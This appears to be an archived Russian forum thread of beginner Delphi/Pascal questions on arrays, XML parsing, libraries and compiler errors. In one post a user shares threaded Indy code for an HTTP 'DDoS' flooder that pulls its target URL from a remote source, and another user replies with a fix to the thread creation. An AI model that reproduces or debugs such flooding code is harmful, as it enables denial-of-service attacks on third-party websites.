[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. Mifody

    Mifody New Member

    Joined:
    18 Jan 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    в файле superobject.pas в самом начале поставить:
    Code:
    {$Q-}
    там есть эта директива, но в теле процедуры.
    Если кратко, то эта ошибка происходит при вычислении контрольной суммы данных. По алгоритму - там может быть число больше Int64.
    Директива отключения этой ошибки в файле есть, но седьмая делфя не воспринимает ее, т.к. она не в начале модуля

    UPD: сам в свое время выносил себе моск пол дня, пока не продебагил всю цепочку процедур
     
  2. InfectedM

    InfectedM Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    155
    Likes Received:
    12
    Reputations:
    0
    Подскажите плиз, библеотека Ehlib бесплатна?
    А то везде пишут, что последняя версия запускается только из IDE, вне Ide должна вылезать ошибка.
    На сайте тоже написано, что 6 кусков стоит.
    Но юзаю уже 3 месяца 5+версию и нормик.
    странно как-то
     
  3. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Сам ответил на свой вопрос.
    Может быть не с оф. сайта загружал библиотеку?
     
  4. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Подскажите как разобрать XML.
    Мучаюсь не могу разобрать правильно. Задача получить параметры item. Их очень много в 1 файле.

    Текст XML

    Code:
    <root type="backpack" iconspath="http://w0.tmgame.ru/files/">
    <item id="36404464" art_id="174" expire="0" type_id="5" bpslot="0" cost="0" cost_real="0" cost_teeth="0" amount="0" flags="624" flags_grp2="0" sharpen_id="0" color="#00a92f" race="0" level="0" obj_type="8" slots="0" slot_num="0" aslot="0" set_id="0" img="art/174.gif" strength_cur="0" strength_max="0" ><title><![CDATA[Концентратор.]]></title><body><![CDATA[<p>На первый взгляд этот шар не представляет из себя ничего особенного, кроме того, что внутри беснуются молнии. Но на самом деле - это настоящее произведение инженеров, потративших на его изготовление восемь лет.</p>]]></body><type><![CDATA[Квестовые предметы]]></type><stats></stats><actions></actions><sid>5b499a2b4ed2906fbf2a18a51f16c826</sid></item>
    <item id="36429907" art_id="175" expire="0" type_id="5" bpslot="0" cost="0" cost_real="0" cost_teeth="0" amount="15" flags="628" flags_grp2="0" sharpen_id="0" color="#00a92f" race="0" level="0" obj_type="8" slots="0" slot_num="0" aslot="0" set_id="0" img="art/175.gif" strength_cur="0" strength_max="0" ><title><![CDATA[Загруженный эмиттер]]></title><body><![CDATA[<p>Этот эмиттер специально разработан лучшими инженерами Гномов для поимки духов. Не стоит открывать крышку. Во всяком случае пока.</p>]]></body><type><![CDATA[Квестовые предметы]]></type><stats></stats><actions></actions><sid>d0ecc88a2a29f42b5eb2e00d2ce9e290</sid></item>
    </root>
    
     
  5. od1n0chka

    od1n0chka Member

    Joined:
    13 Dec 2010
    Messages:
    297
    Likes Received:
    47
    Reputations:
    1
    как можно очистить массив точек tpoint?
     
  6. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Обойти в цикле, и присвоить всем эл-там 0(X,Y)?
     
  7. dos999

    dos999 Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    137
    Likes Received:
    24
    Reputations:
    0
    вариант без цикла, для статического или для динамического массива

    Code:
     var
      i:  integer;
      stat_points: array [0..15] of TPoint;
      din_points: array of TPoint;
    begin
      for i := 0 to Length(stat_points) - 1 do
      begin
        stat_points[i].X := i;
        stat_points[i].Y := i*10;
      end;
    
      FillMemory(@stat_points[0], SizeOf(stat_points), $00); //заполнение нулями статического или динамического массива
    
    
      SetLength(din_points, 16); //динамическое создание массива
    
      for i := 0 to Length(din_points) - 1 do
      begin
        din_points[i].X := i;
        din_points[i].Y := i*10;
      end;
    
      SetLength(din_points, 0); //уничтожение
      SetLength(din_points, 16); //создание заново, будет заполнен нулями
    end;
     
  8. od1n0chka

    od1n0chka Member

    Joined:
    13 Dec 2010
    Messages:
    297
    Likes Received:
    47
    Reputations:
    1
    вообщем надо прогнать массивы point1,point2,point3 по цыклу....
    как правильно это зделать?
    var point1 : array of integer;
    point2 : array of integer;
    point3 : array of integer;
    I,s: integer;
    begin
    s:=1;
    for I=0 to 3 do
    begin
    point:=1;
    end;
    s:=s+1;
    end;
     
  9. muip

    muip New Member

    Joined:
    1 Sep 2011
    Messages:
    45
    Likes Received:
    4
    Reputations:
    0
    Code:
    type
     mass = array [1..10] of integer;
    var
     point: array [1..3] of mass;
     i, s: integer;
    begin
     for s:=1 to 3 do
      for i:=1 to 10 do
       point[s][i]:=1;
    
     
    1 person likes this.
  10. od1n0chka

    od1n0chka Member

    Joined:
    13 Dec 2010
    Messages:
    297
    Likes Received:
    47
    Reputations:
    1
    пасиб большое
     
  11. od1n0chka

    od1n0chka Member

    Joined:
    13 Dec 2010
    Messages:
    297
    Likes Received:
    47
    Reputations:
    1
    type
    mass = array [1..10] of integer;
    var
    point: array [1..3] of mass;
    i, s: integer;
    begin
    for s:=1 to 3 do
    for i:=1 to 10 do
    point:=1;

    попробывал не пашет((((
    пишет undeclared identifier 'mass'(((
    что делать?
    уже всю голову сломал(
     
  12. muip

    muip New Member

    Joined:
    1 Sep 2011
    Messages:
    45
    Likes Received:
    4
    Reputations:
    0
    type
    mass = array [1..10] of integer;

    Забыл это значит написать
     
  13. ULTRA

    ULTRA New Member

    Joined:
    10 Nov 2005
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    проблема с idhttp delphi

    Пишу простенькую флудилку HTTP



    запускаю 2 процедуры в потоках.



    процедура geturl выполняется без проблем а вот сам ддос поток почему то не работает...









    procedure getflood;

    begin

    form1.ddos.Get(ddosurl);

    end;







    procedure TMyThread.Execute;

    begin

    while true do

    begin

    getflood;

    end;

    end;

















    procedure geturl;

    begin

    ddosurl:=form1.http.Get(gettarget);

    end;





    procedure dropstream.Execute;

    begin

    while true do

    begin

    geturl;

    sleep(delay);

    end;

    end;













    procedure startt;

    var i:integer;

    begin

    geturl;

    drop:=dropstream.Create(false);

    drop.Priority:=tpNormal;





    for i:=1 to streams do

    begin

    MyThread:=TMyThread.Create(false);

    end;



    end;
     
  14. DeOne

    DeOne New Member

    Joined:
    28 Apr 2012
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0

    for i:=1 to streams do

    begin
    MyThread:=TMyThread.Create(false);
    MyThread.Priority:=tpLowest;
    MyThread.FreeOnTerminate:=true;
    end;
     
  15. umwelf

    umwelf New Member

    Joined:
    13 Feb 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    select name+" "+firstName+" "+otchestvo,id_post from Directory order by name
    выводит в combobox список имя,фамилия,отчество(значение id_post не отображается).Как мне получить текущее значение id_post и записать его например в переменную?
     
  16. Империал

    Joined:
    11 Mar 2010
    Messages:
    1,224
    Likes Received:
    58
    Reputations:
    1
    Нужно написать программу для шифрования и дешифрования текстового файла методом простой замены. Для доступа к файлу необходимо запрашивать пароль.
    К программе написать пояснительную записку. Пожалуйста помогите очень нужно!
     
  17. loze_mc

    loze_mc New Member

    Joined:
    2 Oct 2011
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    необходимо написать программу определяющую по введенным с клавиатуры значениям координат точки (х,у) ее принадлежность к одному из образов. И есть рисунок на котором три фигуры(круг, прямоугольник и квадрат), могу написать координаты, если надо, еще могу сказать, они налаживаются друг на друга, но это я уже сам доделаю, мне просто понять как это все сформулировать... Помогите пожалуйста
     
  18. mav1

    mav1 New Member

    Joined:
    27 Sep 2012
    Messages:
    22
    Likes Received:
    2
    Reputations:
    0
    я нашёл исходник одной программы,переделал её. Теперь необходимо создать. при нажатии F9 выскакивает вот такая ошибка
    http://s59.radikal.ru/i166/1302/14/b36f917135db.jpg
    также при загрузки исходника вылазиют ошибки.
     
  19. alexey-m

    alexey-m Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    518
    Likes Received:
    100
    Reputations:
    37
    читать мессаги компилятора сейчас уже непристойно?
    ps: если сквозит, то собирать проект написанный в delphi XE+ на седьмых делфях, увы ни к чему хорошему не приведет...
     
  20. mav1

    mav1 New Member

    Joined:
    27 Sep 2012
    Messages:
    22
    Likes Received:
    2
    Reputations:
    0
    а как узнать версию исходника)
     
Thread Status:
Not open for further replies.